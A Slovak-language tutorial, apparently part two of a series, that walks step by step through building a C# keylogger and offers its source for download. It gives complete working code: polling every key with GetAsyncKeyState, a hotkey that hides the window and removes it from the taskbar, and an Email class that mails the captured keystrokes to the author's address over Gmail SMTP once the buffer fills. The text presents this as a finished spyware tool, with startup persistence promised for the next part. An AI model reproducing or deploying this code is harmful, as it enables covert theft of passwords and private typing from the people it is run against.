Jednoduchý keyloggery v C # 2: Zachytávanie klávesov
V minulom tutoriále sme si pripravili formulár a základné kód pre tvorbu jednoduchého keyloggerov.
Dnes budeme pokračovať a to vytvorením triedy pre zachytávanie klávesov. Nazveme ju "Key". V tejto triede budeme zachytávať a nahrádzať znaky. Kód bude vysvetlený formou komentárov.
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Runtime.InteropServices; using System.Windows.Forms; namespace KeyLogger { public static class Key { // Deklarujeme WinAPI metodu GetAsyncKeyState knihovny user32.dll, která vrací aktuálně stisknutou klávesu [DllImport("User32.dll")] // budeme používat tuto knihovnu private static extern short GetAsyncKeyState(int vKey); /* Metoda pro nahrazování znaků. * KeyLogger vrací například po stitku mezery slovo "Space", tato metoda * se postará o to, aby nahradila slovo Space jiným textem, v naše případě * se slova "Space" nahradí skutečnou mezerou, tedy " ". * Tato "tabulka" byla stažená ze zdroje: http://www.zive.cz/clanky/stante-se-programatorem-spion-ktery-vi-co-pisete/sc-3-a-143551/default.aspx */ public static string ReplaceChars(string text) { text = text.Replace("Space", " "); text = text.Replace("Delete", "<Del>"); text = text.Replace("LShiftKey", ""); text = text.Replace("ShiftKey", ""); text = text.Replace("OemQuotes", "!"); text = text.Replace("Oemcomma", "?"); text = text.Replace("D8", "á"); text = text.Replace("D2", "ě"); text = text.Replace("D3", "š"); text = text.Replace("D4", "č"); text = text.Replace("D5", "ř"); text = text.Replace("D6", "ž"); text = text.Replace("D7", "ý"); text = text.Replace("D9", "í"); text = text.Replace("D0", "é"); text = text.Replace("Back", "<=="); text = text.Replace("LButton", ""); text = text.Replace("RButton", ""); text = text.Replace("NumPad", ""); text = text.Replace("OemPeriod", "."); text = text.Replace("OemSemicolon", ","); text = text.Replace("Oem4", "/"); text = text.Replace("LControlKey", ""); text = text.Replace("ControlKey", "<CTRL>"); text = text.Replace("Enter", "<ENT>"); text = text.Replace("Shift", ""); return text; } // zde probíhá samotné zachytávání znaků public static string GetBuffKeys() { string buffer = ""; foreach (System.Int32 i in Enum.GetValues(typeof(Keys))) { if (GetAsyncKeyState(i) == -32767) // pokud je hodnota GetAsyncKeyState rovna -32767 (hodnota pro stisk klávesy. Jsou zde i hodnoty pro držení klávesy, uvolnění a podobně.), tak buffer += Enum.GetName(typeof(Keys), i); //do bufferu přidej stisklou klávesu } return buffer; // vrátí řetězec } } }
Tak, pred niekoľkými okamihmi sme vytvorili metódu, ktorá nám spracováva stlačenia klávesov. Teraz je čas túto metódu použiť Použijeme ju v timera tCheckKey
private void tCheckKey_Tick(object sender, EventArgs e) { tbLog.Text += Key.GetBuffKeys(); // Přidám do textBoxu stiklou klávesu tbLog.Text = Key.ReplaceChars(tbLog.Text); // Pozměním nějaké znaky, jako "space" za " " a pod }
Je čas začať náš keyloggerov skrývať. Budeme ho chcieť skrývať napríklad pri rýchlom stlačení kláves "123" a odkrývať pri rýchlom stlačení kláves "456". Použijeme teda timer tCheckHide
private void tCheckHide_Tick(object sender, EventArgs e) { if (tbLog.Text == "123") // pokud bude v okně text, který si uživatel zvolil pro skrytí, { this.Hide(); // skryj okno this.ShowInTaskbar = false; // skryj ho i z lišty } else if (tbLog.Text == "456") // pokud bude v okně text, který si uživatel zvolil pro odkrytí, { this.Show(); // odkrej okno this.ShowInTaskbar = true; // ukaž program na liště } }
Teraz už program môžete spustiť Ako vidíte, záznamy klávesov nám pri kliknutí na tlačidlo Štart fungujú skvele, avšak vám nepôjde skryť a odkryť keyloggerov, ak už budete mať nejaký text v poli pre text, teda v textbox. Pýtate sa prečo? Pozrite sa na predchádzajúcu kód. Vidíme, že skrytie prebehne, ak je v textbox kód pre skrytie samostatne. Teda textbox nesmie obsahovať žiadne iné znaky, iba "123". A preto tu máme tretí timer tClearField. V tomto timera sa postaráme o vyprázdňovanie textbox a ukladanie záznamu do nejakej premennej. Premennou je potrebné vytvoriť mimo udalosť timera. Takže každú sec sa nám vyprázdnia textbox a jeho obsah sa uloží do nejakej premennej.
string sBuffer = ""; private void tClearField_Tick(object sender, EventArgs e) { sBuffer += tbLog.Text; // Do Bufferu přidám to, co je v okně tbLog.Text = ""; // vymazu okno }
A je to, v súčasnej dobe máte funkčnú keyloggerov. Má to však ešte jeden malý háčik. Záznam sa nám nikam neukladá / neposiela. Takže je nám to zatiaľ celé je pre okrasu. Poďme si teda vytvoriť triedu pre odosielanie emailu. Nazvime ju treba Email.
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net.Mail; using System.Net; namespace KeyLogger { public class Email { public static void SendLog(string SMTP, string Port, string User, string Pass, string Adress, string Topic, string Log) { MailMessage mail = new MailMessage(); mail.From = new MailAddress(User); mail.To.Add(new MailAddress(Adress)); mail.Subject = Topic; mail.Body = Log; SmtpClient klient = new SmtpClient(SMTP, int.Parse(Port)); klient.Credentials = new NetworkCredential(User, Pass); klient.EnableSsl = false; klient.Send(mail); } } }
Teraz už je odosielaní emailu správne použiť. Upravíme si teda ešte timer tClearField a doplníme ho o kód pre odoslanie.
private void tClearField_Tick(object sender, EventArgs e) { sBuffer += tbLog.Text; // Do Bufferu přidám to, co je v okně tbLog.Text = ""; // vymazu okno // Pokud je délka delší, než požadovaná délka if (sBuffer.Length > 300) // je lepší to mít větší, já používám min 5000. { // odešleme email Email.SendLog("smtp.gmail.com", "587", "[email protected]", "vaseHesloProOdesilaciEmail", "[email protected]", "TemaEmailu (nadpis)", sBuffer); sBuffer = ""; // po odeslání vyprázdníme buffer } }
A je to, teraz máte funkčné keyloggerov. Môžeme si ho ešte vylepšiť o možnosť zapínania po štarte Windows a tiež o prehľadnosť. Teda, aby sme vedeli v akom okne bol text písaný Na to sa pozrieme Nabudúce.
Stiahnuť
Stiahnutím nasledujúceho súboru súhlasíš s licenčnými podmienkami
Stiahnuté 1171x (75.28 kB)
Aplikácia je vrátane zdrojových kódov v jazyku C#